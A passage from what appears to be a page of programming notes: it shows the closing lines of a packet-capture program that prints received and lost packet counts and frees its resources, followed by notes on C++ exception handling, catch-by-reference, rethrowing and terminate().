printf("\n\n%d packets received, %d packets lost !\n",stat.bs_recv,stat.bs_drop);
}
PacketFreePacket(lppackets);
PacketFreePacket(lppacketr);
PacketCloseAdapter(lpadapter);
return 0;
}
Throwing an exception and Catching an exception:
try {
// Code that may generate exceptions
} catch(type1 id1) {
// Handle exceptions of type1
} catch(type2 id2) {
// Handle exceptions of type2
} catch(type3 id3)
// Etc...
} catch(typeN idN)
// Handle exceptions of typeN
}
Exception matching : it is always better to catch an exception by reference instead of by value. No automatic type conversions are used to convert from one exception type to another in the process of matching
Catching any exception and Rethrowing an exception:
catch(...) {
cout << "an exception was thrown" << endl;
// Deallocate your resource here, and then rethrow
throw;
}
Uncaught exceptions : If none of the exception handlers following a particular try block matches an exception, that exception moves to the next-higher context, that is, the function or try block surrounding the try block that did not catch the exception. If no handler at any level catches the exception, the special library function terminate() is automatically called. which means that destructors for global and static objects do not execute. You can install your own terminate() function using the standard set_terminate() function, which returns a pointer to the terminate( ) function you are replacing
|
|